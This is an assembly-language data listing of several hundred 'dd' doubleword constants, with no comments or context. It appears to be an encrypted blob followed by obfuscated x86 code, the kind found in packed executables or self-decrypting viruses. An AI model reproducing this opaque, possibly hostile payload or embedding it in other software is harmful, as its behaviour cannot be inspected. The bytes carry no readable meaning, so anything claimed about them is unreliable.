		dd 49B927CBh, 32C7BA25h, 0B8DBAA93h, 3256ABh, 0E5274437h
		dd 809DAD3h, 0B139BF15h, 269D56BAh, 0F0D7E7DCh,	2AA33DE0h
		dd 0B132BEB6h, 306856ABh, 1FF0CB3Fh, 0B8BC59EDh, 0D1325675h
		dd 0B132D9B5h, 0D0CB565Dh, 0B133DEA1h, 3ACE5657h, 1FB41211h
		dd 58C736D2h, 0B13256F8h, 8D0F4360h, 1BA81304h,	0B9809BCEh
		dd 223D1BA7h, 82531F97h, 0B137BF62h, 786956D5h,	323831DAh
		dd 353D564Ah, 0B13253F1h, 5835DDA4h, 0B13256BDh, 450C9C35h
		dd 82BCF6E5h, 1BD0CFDAh, 18C8B7A1h, 4EC891F8h, 3A525ACFh
		dd 738D59AFh, 0B13CBFCFh, 7E175657h, 0B6F0C6EAh, 55DB5EC7h
		dd 0A6E81D9Fh, 583A238Ah, 0B13256BFh, 0E720AB53h, 30520685h
		dd 1490CF95h, 438559C4h, 0B8A7BEB4h, 353D56EAh,	0B132567Fh
		dd 0BEF8DDDAh, 0B13256DCh, 0BE5237AEh, 7CB2A8E0h, 713937B1h
		dd 0B11FD3DAh, 0D15256EAh, 292BEF13h, 0D0CAE1B5h, 4CCBEC3Bh
		dd 0BE35DDCFh, 0B1325AD4h, 0B7B259ABh, 0BE3256D5h, 0B1325669h
		dd 0B116BF75h, 3B5256BAh, 3253AE9Bh, 0A0DB4269h, 3E325657h
		dd 27B0A012h, 0F9177ED7h, 9F5BB287h, 2BAC582h, 4ECD6053h
		dd 0F4BBAFA2h, 0BEDA3652h, 7325657h, 1CB6D07Dh,	3CC1C114h
		dd 0CA51AB13h, 0B8DBE99Bh, 7F3256BAh, 95C9E3Ah,	0CB31D7D7h
		dd 0E5DCD60Fh, 0BD47A9CAh, 0B947A92Ch, 0BE05A91Fh, 0B13246F3h
		dd 0B139BFBAh, 0F995565Dh, 37BF78B1h, 63E1BF16h, 0B9EBBEB9h
		dd 0D15256D5h, 63D378Ah, 50B237A3h, 0BE523762h,	0B13254D0h
		dd 0E36C01AEh, 71393708h, 0B12ED2A4h, 58CA56D5h, 0B13252F9h
		dd 0B132479Ch, 0E8E23BBAh, 0DACCF3B9h, 86E6670Fh, 0D84962E4h
		dd 0F4B9D020h, 0ABB85929h, 0D13256EAh, 0B1325A9Dh, 0E17067BAh
		dd 0F0BD068h, 23E1FF16h, 3A3D0D5Ch, 0B13256ABh,	0BE356FB4h
		dd 0B1318468h, 0D752AF75h, 4E53A731h, 353DAA18h, 0B13256A9h
		dd 0B133DC58h, 58CE56ABh, 0B13256DCh, 50CCAD9Fh, 1B4351C2h
		dd 0B54DD502h, 88B6595Dh, 0D13256AEh, 68B33006h, 0D76B598Ah
		dd 0B42B8154h, 0BD4DD58Bh, 90B65975h, 493256BAh, 0B132DCB4h
		dd 0A4B359AEh, 58325657h, 0B13256BBh, 0D0470C33h, 8A21B0D8h
		dd 7EE61FE3h, 0D641BBCh, 4ECDA9E5h, 0AAB25951h,	0D1325657h
		dd 5880802Bh, 0B13256C4h, 7E126111h, 0AAF419E7h, 29A60BF4h
		dd 0FE25B23Eh, 0B48B37DBh, 0D1325657h, 0B1325F42h, 0E694F1D5h
		dd 638B2533h, 3A625BE5h, 42530F7Bh, 0B137BFF6h,	739556AEh
		dd 5856A953h, 4ECDA816h, 0B1325A3Ch, 0A7B3F4EAh, 7AB5D04h
		dd 8A2B0E01h, 0B9BC5929h, 0BE3256AEh, 0B13254DDh, 325336ABh
		dd 0BE3746AAh, 0B132CF6Eh, 0A0DB3675h, 0C03256BAh, 886DF7CCh
		dd 0B91F095Bh, 0AC64FA9Dh, 87092558h, 0E6E4DDB5h, 325337B5h
		dd 0BE34460Ah, 0B132E63Fh, 0B6BC595Dh, 0D13256AEh, 1C4E158h
		dd 323D370Dh, 0B13256D4h, 0B6DB1713h, 0F325675h, 0C0FFF659h
		dd 0F6B9B54Dh, 0A5BB59AAh, 0BE325657h, 0B132582Ah, 0B13BBFD5h
		dd 5C5256EAh, 0F39E00C8h, 49D2D307h, 0BE3E09D6h, 0B1325C25h
		dd 5CB23657h, 8A5EEE2Bh, 58537DFEh, 0B1325708h,	0B8DB3615h
		dd 0B93256BAh, 7AD7D5A6h, 1A037895h, 78B337AFh,	0E65EB3EFh
		dd 0F6B9A3B4h, 343DA3EEh, 0B1325679h, 0B134DAB5h, 343D565Dh
		dd 0B13256AEh, 493E09DCh, 0B12BD7A4h, 0D15256D5h, 0B122BF8Bh
		dd 0EF445675h, 22A6784Eh, 2B327E6Ah, 0B809EA09h, 585350F9h
		dd 0B13257DDh, 0B575DD2Ch, 0B13AD5E5h, 0A525675h, 0B23A203Eh
		dd 0EEB937A5h, 0B123BFA2h, 0B96B5657h, 0AFE3EBDDh, 17974A53h
		dd 0AAC570CFh, 8A8D739Ch, 343D5EE5h, 0B1325681h, 0B13ADDA1h
		dd 0BE525657h, 0B1325623h, 0BCDB37D5h, 0D43256EAh, 85CF8644h
		dd 0E6B2A4E7h, 5318A65Eh, 0B123BFFCh, 49B35657h, 989AC2C6h
		dd 0F3BE7CC7h, 2DB22737h, 3AE299BBh, 0BE5252EDh, 0B13256D4h
		dd 9A53A3AEh, 0BECB4602h, 0B1324020h, 0A1BD59D5h, 583256EAh
		dd 0B132567Eh, 0FFD2204Fh
		dd 77B6F749h, 0B2DA251Ch, 3ACA4202h, 0B9DB5AF4h, 8F3256D5h
		dd 81E4BEB9h, 9A4527DFh, 0B137BF60h, 79D2565Dh,	0BE478C3Fh
		dd 0B13241DEh, 0B120BFABh, 576256D5h, 36DF246Bh, 58287540h
		dd 0E4DD333Ch, 0F8FE1875h, 0D137BD2Dh, 0BBDA99DCh, 463256ABh
		dd 0A08F60B5h, 816630A1h, 7B8D59EDh, 0BE6837E1h, 0B13258D8h
		dd 0B13BBFAEh, 0E0A65657h, 809826CEh, 5856373Ah, 0B13256D7h
		dd 0B0B5598Dh, 443256BAh, 4D3611D6h, 0D13E0925h, 0B56D7D36h
		dd 0B4D9D553h, 313D3620h, 0B13256ECh, 0B132D27Ah, 3A5456BAh
		dd 3B3137A7h, 0B69A4F17h, 0B1325EBEh, 5B244EABh, 1B9A694Bh
		dd 0A14DD533h, 96B75976h, 583256BAh, 0B132564Ch, 83CFB887h
		dd 0D004FA7Dh, 4517CA06h, 0EE113E9Ah, 3E3D17E1h, 0B132567Fh
		dd 0B1325353h, 0E6AEE15Dh, 68198751h, 0B1325BBEh, 517280ABh
		dd 0E7E3337Dh, 324A6FC2h, 0EDBBE2E5h, 343D57BBh, 0B132565Ch
		dd 4ECDEE56h, 152A9A8h,	77B33618h, 0E1A6CE79h, 0B1325303h
		dd 1B80F175h, 0D053B341h, 0B13253E4h, 0B9B159AEh, 0BE325657h
		dd 0B132542Ah, 0D15336D5h, 0B131DDE5h, 3A545675h, 0BB80EC70h
		dd 42533161h, 0A3DB3605h, 26325657h, 5E8116D4h,	0D9143A66h
		dd 0BDB1422Ah, 9B2B6F4Eh, 0B13FBE7Bh, 428A565Dh, 0CC8BC292h
		dd 0AEDE3C6h, 0D180FC98h, 58530DB4h, 4ECDAD5Fh,	0BDB15989h
		dd 0BE3256BAh, 0B13250DFh, 0B1B759AEh, 0D0325657h, 0B1324642h
		dd 0C234BBD5h, 2CDE7816h, 584D6067h, 0A0CE3A8Bh, 73CB9F89h
		dd 0A0DB56BEh, 55325657h, 14775B5h, 299996F0h, 9CE0B22Ah
		dd 0BD19D4A8h, 343D36EFh, 0B132565Fh, 0A0DB0EFEh, 0BF325657h
		dd 2BB3680Ah, 8681FE3Bh, 87A40822h, 317CC2AEh, 58DEDDDBh
		dd 0B132564Eh, 3FD96C7h, 7E4D7A55h, 576D3E50h, 0ACA9933h
		dd 3249B060h, 0D752AAB1h, 0D77A2D04h, 0D05A3FE3h, 0B133DDA1h
		dd 0D1CE5657h, 7BE8D6CBh, 0B131D3DAh, 63D56EAh,	59C73784h
		dd 0B13256BAh, 7ED8D707h, 0D135F866h, 0B13250BEh, 0DBDA81ABh
		dd 0D04B5474h, 0B1325903h, 0EA4F3D75h, 0DDC3D95Eh, 16D358E1h
		dd 0D202D323h, 3A5436AEh, 0BB9375Ah, 0B69CD091h, 0B1324203h
		dd 0A0821775h, 93BD1Ah,	8DA26D58h, 0BA68E22Dh, 2A12D51Fh
		dd 0D1FB65EDh, 0B132533Ch, 194869EAh, 3253C9EAh, 353D5685h
		dd 0B1325523h, 728D59CEh, 0BE35DD36h, 0B1325723h, 0C4CDAFD5h
		dd 0B123BFE6h, 0B3385675h, 574893AEh, 786000F6h, 6CFF0237h
		dd 0D1D42135h, 18B3EDCDh, 3DBA9754h, 4E53058Fh,	0D7525E00h
		dd 58C05200h, 0B132564Ch, 9282352Ah, 9C47A870h,	0A659EDDh
		dd 0DF095DDEh, 496237A3h, 0B131189Dh, 305436BAh, 0D7B42EADh
		dd 0BA53A525h, 8FB75997h, 0D13256ABh, 3052A85Eh, 93EDD518h
		dd 75F1D71Ah, 0D0489FB1h, 5835DD3Ch, 0B13256BCh, 6CE4599Dh
		dd 781EE296h, 43DEC336h, 240580B3h, 84DB3F1Dh, 0D13256BAh
		dd 0F636EE3Bh, 0B130D0A1h, 0EE655657h, 0A5F5D5CAh, 0B12AD4DAh
		dd 0A2DB56EAh, 6F325675h, 54C0F6B8h, 21BBF519h,	96C8A9F4h
		dd 0A1702778h, 99DB0701h, 48CDA92Ah, 0D1CE1363h, 0B6DAA2FFh
		dd 0D53256BAh, 4E73D247h, 78B31135h, 0D15E3E85h, 0C4CD37F2h
		dd 0B0BA59D9h, 4D3256EAh, 0D13A238Ah, 0B1325B52h, 0A539305Dh
		dd 0EA8DFF82h, 4CC4BCE9h, 3A545961h, 7EB90804h,	0D105A98Bh
		dd 6ED3D713h, 0B121BEE9h, 39D7565Dh, 7E2532EBh,	0C6596274h
		dd 9669E0D2h, 49D58173h, 0B1BD5909h, 0EA325675h, 0B35BBEDBh
		dd 0BE52565Dh, 0B132502Ch, 3DDBD757h, 3B2F9B1Eh, 0BACA3726h
		dd 8DB6592Ah, 0BE325675h, 0B1324F38h, 0B126BF5Dh, 0D7FA56AEh
		dd 9763E10Ch, 78BF15D0h, 5131017h, 3F62A31Ah, 313D9416h
		dd 0B13256BBh, 0B0CEBFA1h, 303D56AEh, 0B132565Dh, 40B930CBh
		dd 3E9E596Dh, 3AC73784h, 333DAA30h, 0B13256B7h,	0B1325EB4h
		dd 0B1CD56AEh, 9C75029Ch, 0BE356FABh, 0B1339B57h, 0F4CDAEEAh
		dd 0B137BF89h, 538E56BAh, 329EE5F2h, 0BE3252D1h, 0B1327FD3h
		dd 3152A3ABh, 0BBDAFD03h, 5B3256EAh, 0F623F73Eh, 0A8F215BAh
		dd 0EB6A004Eh, 0BD4DD5CFh, 0B6B65957h, 483256ABh, 0B1326D3Ch
		dd 4E8AAEEAh, 0D1CDA98Ah, 3AF3E1B5h, 0B48B379Eh, 4D3256AEh
		dd 0B13258BEh, 48DA8AABh, 37337D7h, 87491D5Eh, 42996D43h
		dd 7ADBAE11h, 0D1CDA9A3h, 0D1C5DCCEh, 30543736h, 0D00BC97Dh
		dd 0B4222956h, 0B140D2E5h, 343D5675h, 0B13256BBh, 0A14DD5A1h
		dd 3FB759A8h, 49325657h, 0B8BA59EAh, 0D13256D5h, 0B1B25916h
		dd 0D0325675h, 0BE361131h, 0B13241D0h, 0B120BFAEh, 94A05657h
		dd 9E8F6AC1h, 20E37002h, 9F478FEBh, 48DCFBFEh, 583E0931h
		dd 0B1325654h, 0D04AE192h, 0F24388C8h, 0B1ABBFE8h, 313D56D5h
		dd 0B13256F9h, 0B132589Ch, 0D3CBDEBAh, 12F47166h, 35B590BDh
		dd 48229D0Bh, 0BE361120h, 0B1325153h, 0B0B259EAh, 44325675h
		dd 0BE3E0931h, 0B13251D9h, 758D36AEh, 0D007DA49h, 0B17CBF52h
		dd 3D3D56D5h, 0B13256EBh, 0B575DD89h, 0B133D8B5h, 3ACE565Dh
		dd 0D7525AF1h, 0A8591D6h, 0B130D3A4h, 0D05256D5h, 0B56D7D8Bh
		dd 628D5915h, 0B1BA59EBh, 0EB32565Dh, 0B4D9D5CFh, 608D5937h
		dd 9942A72Ah, 325333A5h, 0BE314695h, 0B13255F0h, 4473AABAh
		dd 31528F76h, 0E544044h, 3853009Dh, 583357F7h, 0B13256DFh
		dd 89C0F35Ah, 91ACD34Eh, 4E8A9956h, 49CDA9A2h, 0B1325317h
		dd 1AC1AF57h, 0B138D5A4h, 3A5256D5h, 0B1B25910h, 0D0325675h
		dd 0B1324453h, 0D795A25Dh, 0AFFF7166h, 23B8A9FDh, 5E59BAD7h
		dd 58CCA4EEh, 4ECDAB9Ch, 0B132539Ch, 1B002BBAh,	0BE536126h
		dd 0B1325720h, 0BEFBAF57h, 0B1325724h, 0B9F0A3D5h, 0B123BFEAh
		dd 0E0805675h, 753C5F61h, 9FB3DC51h, 4038D331h,	0E4C41DD6h
		dd 0B135DFA4h, 333D56D5h, 0B13256EBh, 0A543680h, 0A5DBA795h
		dd 4732565Dh, 1F3F6716h, 5E470655h, 48C498CEh, 797ABC45h
		dd 0D03C6123h, 0BDDBBAFEh, 0F73256BAh, 0CE0EDA51h, 5CE661F1h
		dd 321AE8FEh, 0B4DBAA6Fh, 6C3256D5h, 0EBDC8AADh, 0EB613615h
		dd 0B1325153h, 0CCF84D5Dh, 0FF8BA18Ah, 0B977DD36h, 0BD776D53h
		dd 0B1B1D4DAh, 3F3D56EAh, 0B1325674h, 0A1776D43h, 0B141D152h
		dd 585256AEh, 0B1325644h, 74D5CC6Bh, 1AC3823Eh,	20939D31h
		dd 3341DA04h, 58B4DF4Bh, 0B1325656h, 0DB74EB73h, 776DDE08h
		dd 0D06EA000h, 0B138DFDAh, 0BE5256EAh, 278B90CAh, 0D076A71Bh
		dd 0B1CE139Ah, 583256AEh, 0B1325647h, 0A31ED1F5h, 0C22C221Ah
		dd 0C12A3B1Eh, 0CE5F7352h, 0B1321653h, 0B121BF5Dh, 333756AEh
		dd 35546D94h, 61762226h, 0B1AE24C3h, 0D58A0564h, 4D77912Dh
		dd 0B13256BBh, 0B1325EB4h, 375BFAAEh, 4B94C6B2h, 0B13DBF83h
		dd 58CB56D5h, 0B13256E3h, 1F38A65h, 6938042Bh, 3B3D37FCh
		dd 0B13256B7h, 0B122BF37h, 3CCF56ABh, 0ED06A006h, 1469CAF1h
		dd 0F4842DBEh, 60B8BC78h, 0BBBE593Ch, 583256AEh, 0B1325652h
		dd 4E9A8C39h, 4D77DDEDh, 0B1325F03h, 97CB5275h,	9012DF29h
		dd 58FBB4D3h, 0B13256ABh, 41269965h, 0B13E943Eh, 3ACE032Ch
		dd 0AAB15906h, 0BE325675h, 0B1324339h, 0B122BF5Dh, 24C56AEh
		dd 0B35C049Ah, 6D758B3Bh, 5F5F0C3Bh, 75B11153h,	56B33689h
		dd 0EA0A8DCDh, 0D09785DDh, 0B137BFCEh, 1D515657h, 58C7F1B2h
		dd 0B13256C6h, 815CE612h, 0C4DB1D67h, 89370A04h, 0B3198E39h
		dd 59BE0405h, 0B1325657h, 2AD8D7F1h, 0D135F81Bh, 0FFFA916Bh
		dd 3C3D74D9h, 0B13256BCh
		dd 0B132D252h, 495356AEh, 373D9F64h, 0B13256A3h, 0B130D5DAh
		dd 0D05256EAh, 3D3D8D46h, 0B13256A7h, 0B125DD52h, 0A3DB56AEh
		dd 0BB325657h, 1D2DC042h, 1DE66E00h, 4FF14152h,	0C031E8Ch
		dd 4D6FDFC8h, 0B13247B4h, 3FD2E0AEh, 5815B224h,	0EE35E3E2h
		dd 664A7B9Ah, 5852D113h, 0B1325664h, 0F7DE1F24h, 1DA1CD66h
		dd 1A200647h, 8F393695h, 3A53AFE0h, 1FB4126Fh, 0BE8D36EDh
		dd 0E178C140h, 6733EEDCh, 59523703h, 0B13256BFh, 76DEAE9Dh
		dd 76BC7A88h, 9F5600B0h, 948B7A2Eh, 0E853367Ah,	0B10DD5DBh
		dd 0B34AD252h, 32CB56AEh, 343DA968h, 0B13256E9h, 0B133D4DAh
		dd 58CA56EAh, 0B1325672h, 0D56ED923h, 32A1C991h, 58CA4269h
		dd 4ECDA986h, 0EF6305CBh, 8FEAD78Eh, 0D066F604h, 0B126D17Ah
		dd 0BEDB56BAh, 8E32565Dh, 0C02A822Ah, 4D060022h, 1349C1B2h
		dd 0CEB14708h, 353D56EEh, 0B1325642h, 0B138DBB5h, 0B4DB565Dh
		dd 1F3256AEh, 46A0138h,	0B13E2928h, 0B12FD2DAh,	58C756EAh
		dd 0B1325620h, 0B1324453h, 750E955Dh, 0DD1E7F24h, 356C103Eh
		dd 0C06E3C6Eh, 4E6DF744h, 0BEDBAAAFh, 92325675h, 11C8E4Bh
		dd 870EA359h, 5103435Fh, 3E3DC024h, 0B13256AAh,	0A5F5D520h
		dd 0B1325D03h, 0F1DD3C75h, 108CD6F9h, 71F97A53h, 4ECD6247h
		dd 3F3DAEA8h, 0B13256AAh, 0A14DD529h, 0D7B659EFh, 58325675h
		dd 0B13256B5h, 953667ACh, 551F95B2h, 0C5F6607Eh, 327768D6h
		dd 0BE3446AAh, 0B132DE6Fh, 0B13DBF75h, 142B56BAh, 2873408Ch
		dd 8ABD98F2h, 0E306EA05h, 58CE1744h, 0B13256DEh, 0BF11DFFEh
		dd 0B059C88Bh, 3A6BE149h, 3E3D521Ah, 0B13256AFh, 0BD6DDDAEh
		dd 0B1F1BF52h, 3E3D56D5h, 0B13256E2h, 0B130D47Ah, 0D05256BAh
		dd 0B575DDA4h, 0B13EDFA1h, 383D5657h, 0B13256ADh, 0B132D6DAh
		dd 0EEB956EAh, 0BFDB3679h, 0D53256BAh, 632B4766h, 0B64B009Eh
		dd 42ACEC4h, 2A8A302Bh,	0CADB371Fh, 0D13256EAh,	0DDB87CCAh
		dd 77855992h, 0B575DD3Ch, 0B139D1A1h, 31525657h, 313DEC44h
		dd 0B13256D5h, 0BD6DDD8Bh, 0B56D7D89h, 0B2B459DAh, 0BE32565Dh
		dd 0A0DAA719h, 4325657h, 5666FD07h, 0E419E7FAh,	0B4AEDB76h
		dd 2289290Dh, 0E8ECDDDCh, 0B4D9D53Ch, 0B1325E47h, 0BF8A5B57h
		dd 0CAEFCA6Eh, 0A14DD545h, 0A6B759E9h, 0D1325675h, 0FA88D000h
		dd 0D4DDD70Dh, 0D02E312Ah, 55873616h, 7D3D1714h, 681937C5h
		dd 0B06EDF12h, 343DAA74h, 0B13256A8h, 0B1325BB4h, 6B594FAEh
		dd 38DD3F60h, 0A7DF0DCFh, 4E8A6860h, 0BECDA915h, 0B13246FCh
		dd 0B139BFBAh, 0BA5E565Dh, 6DE01B64h, 3FB7FDDCh, 0B137EFD5h
		dd 0D75256D5h, 59D6BF6Bh, 0B1325B9Ch, 0F3F1ADBAh, 131262E7h
		dd 0C9A320EAh, 0BE5366FCh, 0B1324E27h, 0A3B359D5h, 583256EAh
		dd 0B1325678h, 67C32F72h, 0B36F1202h, 0E05BE773h, 0D199A5B7h
		dd 0DE87AFCBh, 37DB37B4h, 0D1CDA917h, 62B225C2h, 0BE5337F0h
		dd 0B13251DDh, 0B0B859AEh, 44325657h, 0BECE1320h, 0B1325A56h
		dd 0B135BFEAh, 602E5675h, 7380D9F5h, 0B7DB9FBCh, 0F13256AEh
		dd 0B43023D2h, 343D95E5h, 0B13256C7h, 0B1325B03h, 0F768C775h
		dd 4AE4B33h, 0DDDA0F21h, 4D62DEABh, 0BADB07A2h,	0D93256ABh
		dd 55F4E75h, 0F41AF476h, 0B6DB5531h, 313256BAh,	0BBB074FAh
		dd 0BE6102C6h, 0B13258DCh, 0B13BBFABh, 5B0656D5h, 8C5C31EEh
		dd 59DD7CB2h, 0B13256BAh, 0FED8D707h, 5835F87Ch, 0B1325644h
		dd 5B72D60Eh, 4B26BF4Dh, 0D2644C84h, 8CC7B13Fh,	58042A66h
		dd 0B1325650h, 0C07C711Dh, 54337304h, 0B7CD807Ah, 0B9DA3628h
		dd 1D3256EAh, 4CC7F16Ch, 0BE50D33Dh, 0B13256D3h, 3C530DAEh
		dd 1FB551CDh, 0B0BB59ACh, 483256D5h, 0B1323252h, 94BD5975h
		dd 0D13256BAh, 0B13246B5h, 6C7460AEh, 0DD53313Ah, 25F123E7h
		dd 2A3BD8C3h, 0B9DB0E13h, 49325675h, 22F18C75h,	0D048CD69h
		dd 0B1376746h, 0BAB9AA57h, 0B121DEA4h, 383D56D5h, 0B13256E7h
		dd 0B1325E9Ch, 73EEADBAh, 0C0D4D686h, 58F36DD5h, 0B1325651h
		dd 206D9F8Bh, 3EDB9AF2h, 4D3256EAh, 0D7E8DD15h,	0B2538931h
		dd 0D1525216h, 333D8725h, 0B1325657h, 0D0F4DDCAh, 333D97EEh
		dd 0B1325674h, 0B121BF8Ch, 421056BAh, 20334F73h, 8C4DBC7Fh
		dd 472E1FB9h, 289DDE64h, 0A1795597h, 0BEF36D13h, 0B13244F7h
		dd 83DBAABAh, 5832565Dh, 0B13256A9h, 0C7376C4Ch, 589843DBh
		dd 0B1325646h, 0B129D4E5h, 0BE525675h, 0A0DB9005h, 2C32565Dh
		dd 3441333Ch, 33315FD1h, 0D68E454Ah, 0F1A1D9C3h, 0B15FBF8Bh
		dd 0D7525675h, 5574883Bh, 43B9300Ch, 2BBF37F7h,	0B69D2749h
		dd 66B330CBh, 42B9B27Eh, 48E1A98Bh, 0B1321C9Ch,	0B121BFBAh
		dd 0A7D2565Dh, 10EC59ECh, 745CA979h, 310F0717h,	68382B3Dh
		dd 2BBFA382h, 0B69D2231h, 0B1325853h, 0EC67245Dh, 0AF2B43C7h
		dd 8CE17489h, 4E836431h, 0A1BA5906h, 0BE3256EAh, 0B1325CF2h
		dd 0B137BFBAh, 8857565Dh, 0EA2962BDh, 0B133DC58h, 0E8CA56ABh
		dd 58520E2Dh, 0B13256E1h, 0EA1AAE63h, 8B1DBC5Bh, 0D771B67Ch
		dd 0F8DCA62Fh, 0E4CE9536h, 0B13ADDA4h, 383D56D5h, 0B13256E8h
		dd 5DB93715h, 0B127D3B5h, 0D752565Dh, 0BADB8725h, 2325657h
		dd 99A3902Eh, 2F2C0F7Fh, 4953BAE1h, 0B132569Dh,	5BB30CBAh
		dd 0B69C8211h, 0B121BECEh, 0B0655657h, 1CFA6A8Ch, 42EDABA8h
		dd 90B3F1DFh, 1C5D3268h, 0E9A5E470h, 0B13251B5h, 0DF1832AEh
		dd 7AF5521Dh, 0D06D37CBh, 0B139DCDAh, 0D75256EAh, 363DA4FEh
		dd 0B13256BAh, 3F3D363Ch, 0B13256A7h, 0F533637h, 0E8413555h
		dd 0B688DBB4h, 0BE35F86Dh, 0B13257FAh, 0BE52A3BAh, 0B13246D6h
		dd 0B139BFAEh, 594F5657h, 0AA0C8DFBh, 0D069FE93h, 0B13FBE72h
		dd 0BC155675h, 8F2E47EEh, 0F78DE88Bh, 5909D26Ah, 0B132565Ch
		dd 0D565DD03h, 89C6D68Ch, 0EB5DE937h, 0F4B9372Ch, 0B6BBAEB2h
		dd 0B137BF3Dh, 4AC456AEh, 0BE8F77F6h, 3A53AD1Ch, 30525A90h
		dd 1867A229h, 0B7B3592Dh, 0BE3256BAh, 0B13256D7h, 0F6BB37AEh
		dd 0F4B9A353h, 0F6BBAEBBh, 0F4B9AFD9h, 0B13ABFFEh, 0BAA05675h
		dd 0E21EE03Ah, 0BDDBB02Bh, 883256AEh, 0BC5075AAh, 312D4CCAh
		dd 38AFC5AFh, 0E35246ADh, 5868B7FFh, 0B13256BFh, 0B4B2544h
		dd 58533717h, 0B1325643h, 15B5F07Ch, 2257A4F5h,	0E534A21Ch
		dd 407129E5h, 43A82B42h, 0B9B15994h, 0BE3256AEh, 0B13254D3h
		dd 585336ABh, 0B13256DBh, 1DDFBF99h, 0A4EEF2F6h, 0DADD0D44h
		dd 0A1F0D3FDh, 0A1B759AEh, 0BE325657h, 0B1325C29h, 0B137BFD5h
		dd 75E656EAh, 0D18D4E17h, 0AFE8D6DAh, 77532DEFh, 19344F2Bh
		dd 393D1150h, 0B13256AAh, 0C2283E2Dh, 0BDDBFEFDh, 0CC325675h
		dd 2EDF4C25h, 0F212CD17h, 4E4B0D8Eh, 193EB7E2h,	0B8BA59ACh
		dd 0D13256D5h, 69DED8Ch, 0D0C1E17Ah, 0C928D337h, 495251F6h
		dd 0BEE2A9CFh, 0B13242D5h, 0B13DBFABh, 5DCB56D5h, 0C1C17A3Ch
		dd 64FBB0FDh, 48008409h, 3CC704C9h, 1FBA2624h, 0BEDBAA50h
		dd 183256ABh, 96B7EC68h, 408449CAh, 50A894E0h, 44631C41h
		dd 95286A2h, 0E557061Bh, 0E4DB1D6h, 0BE5346A2h,	0B132415Bh
		dd 0A0B359EAh, 58325675h, 0B13256B6h, 261FEA3Ch, 6A163781h
		dd 9526B5C5h, 0B13ABFF1h, 6DE156D5h, 0EF17D850h, 33BFEE5Ch
		dd 0B69CDECAh, 0B135D052h, 383D56AEh, 0B1325656h, 0F185595Eh
		dd 69B9A3D9h, 46D4D68Ah, 3A520414h, 0D0FCDD49h,	3A3D6752h
		dd 0B13256AFh, 0B2C70CAEh, 38C7A368h, 1937E757h, 3B3DAFEDh
		dd 0B1325674h, 0BE523746h
		dd 0B13254D0h, 103E2AEh, 4DF137DEh, 0DE8B6051h,	25BF6660h
		dd 16DA81C3h, 612BCEDFh, 0BF605261h, 224514EEh,	30DB8166h
		dd 0E86134h, 5A000000h,	0D6DEEA81h, 12E907AEh, 0AC000000h
		dd 7ABAF0F3h, 235A5CE5h, 6B243111h, 8130D387h, 7E994h
		dd 0F4000000h, 0BA858FB8h, 11E93Dh, 362A0000h, 65BA1DC7h
		dd 83B334EBh, 0F164AF9Dh, 0E9E5E9DBh, 8, 23B7ED62h, 0D6ADC39Ch
		dd 0BE952h, 53040000h, 0D00F74CEh, 8E4D4E0Bh, 0FE9B6h
		dd 3AAB0000h, 0BE44AAB5h, 0AF50FC9Dh, 0E85EC271h, 0B1828B3Bh
		dd 0F807A805h, 61F8F560h, 0C64E6DB9h, 0F0806041h, 14E942h
		dd 0DDB50000h, 0B8B469DAh, 86AC9ACFh, 469DB802h, 0B439EC4Ah
		dd 0F76135C8h, 0DE9E1h,	0F230000h, 37AD0A09h, 68908792h
		dd 5A3AFF9Ah, 61EC8A60h, 303905F8h, 13E90000h, 46000000h
		dd 127AC955h, 7C27C1DDh, 83090653h, 0F699CB73h,	0FF25CAA2h
		dd 0E97FFFFFh, 10h, 1635E023h, 0FE83FE8Dh, 377E37B9h, 45F6E2ADh
		dd 5B18289h, 0E96007A8h, 5, 0DFCB7942h,	850F61F1h, 1, 66605AF5h
		dd 664894BBh, 5961C18Bh, 78F0Fh, 0F600000h, 0D08BDABFh
		dd 0FC3F561h, 189h, 6051F900h, 566ED780h, 880Fh, 615E0000h
		dd 0E8F952h, 5A000000h,	0D81EEA81h, 800F07AEh, 0Bh, 6E9h
		dd 0CC2E1C00h, 0F8591FA9h, 8E0FC88Bh, 8, 2800Fh, 61600000h
		dd 0FFFE6FE8h, 11E9FFh,	64AB0000h, 0A54DEF2Dh, 0A8750B8Dh
		dd 76821620h, 33E70117h, 7E9D2h, 81C20000h, 7985EC36h
		dd 0FCF1F714h, 0B960C28Bh, 4D1E5DD4h, 59FC5A61h, 0B70FFC60h
		dd 0E9C361F2h, 12h, 65D6C7E9h, 23220E7Fh, 4246C19h, 74B6D8E9h
		dd 0C08B5337h, 60C08BFCh, 8482EF81h, 605157A1h,	8D615961h
		dd 0AE9EB985h, 800F6007h, 0
		dd 0D1B70F60h, 804C93B8h, 0FF616115h, 0C800FD0h, 60000000h
		dd 3B700EBAh, 0F781667Ah, 66619829h, 8DF5C18Bh,	0AED6BB85h
		dd 9E907h, 0E42F0000h, 57863B23h, 895F6EB9h, 0A8067185h
		dd 0B820F07h, 60000000h, 25E7F3BBh, 8BB86614h, 858D61CAh
		dd 7AED809h, 8E9h, 2A0B0C00h, 8480C98Bh, 89858977h, 6007A804h
		dd 0F7816657h, 515BD6C0h, 6158F5B5h, 0B8h, 5E900h, 70430000h
		dd 0B081BB8h, 25840FC0h, 60000001h, 52203ABFh, 11E908h
		dd 0A8810000h, 8473AE0Ch, 5484D38h, 2BE6FA5Ch, 61709680h
		dd 61985C6h, 0E95607A8h, 7, 6D567C7Ch, 68DD4172h, 0A9C530DFh
		dd 0AE9h, 0FDAD4800h, 3DB6C30Fh, 0FF8E33DFh, 0A80CE1B5h
		dd 31BE6007h, 6622F350h, 201FC881h, 1A858D61h, 0E907AB78h
		dd 10h,	99A0EF4Ah, 5BC25CEDh, 339884D3h, 74A0B4D1h, 10E9D0FFh
		dd 78000000h, 9ABF6215h, 3CFEBCBCh, 3C6C7171h, 50CE6A5Fh
		dd 318D8DF5h, 0E907A82Ch, 13h, 0CDC6D70h, 66EC6922h, 999A8A77h
		dd 1AAF7307h, 5119D9DDh, 8E9h, 5C56AD00h, 59830FBDh, 60046A65h
		dd 8AECF781h, 81660AFFh, 61DD27C7h, 100068h, 0DE900h, 0E08D0000h
		dd 4E8720FFh, 7683B611h, 0FF7A7756h, 0A82681B5h, 18D0F07h
		dd 0F9000000h, 6660D0FFh, 61FCDE8Bh, 2681BD8Bh,	806007A8h
		dd 0B70F02E8h, 7F0361FBh, 0FE93Ch, 17A30000h, 0F3B9B204h
		dd 0F17773EFh, 126F0364h, 0F8C781E0h, 0F8000000h, 202447C7h
		dd 0FC600000h, 105D9D8Dh, 8BF907A8h, 0F606003h,	89h, 61616000h
		dd 5E42AABAh, 0C00B617Eh, 25840Fh, 830F0000h, 1, 0F8008BF8h
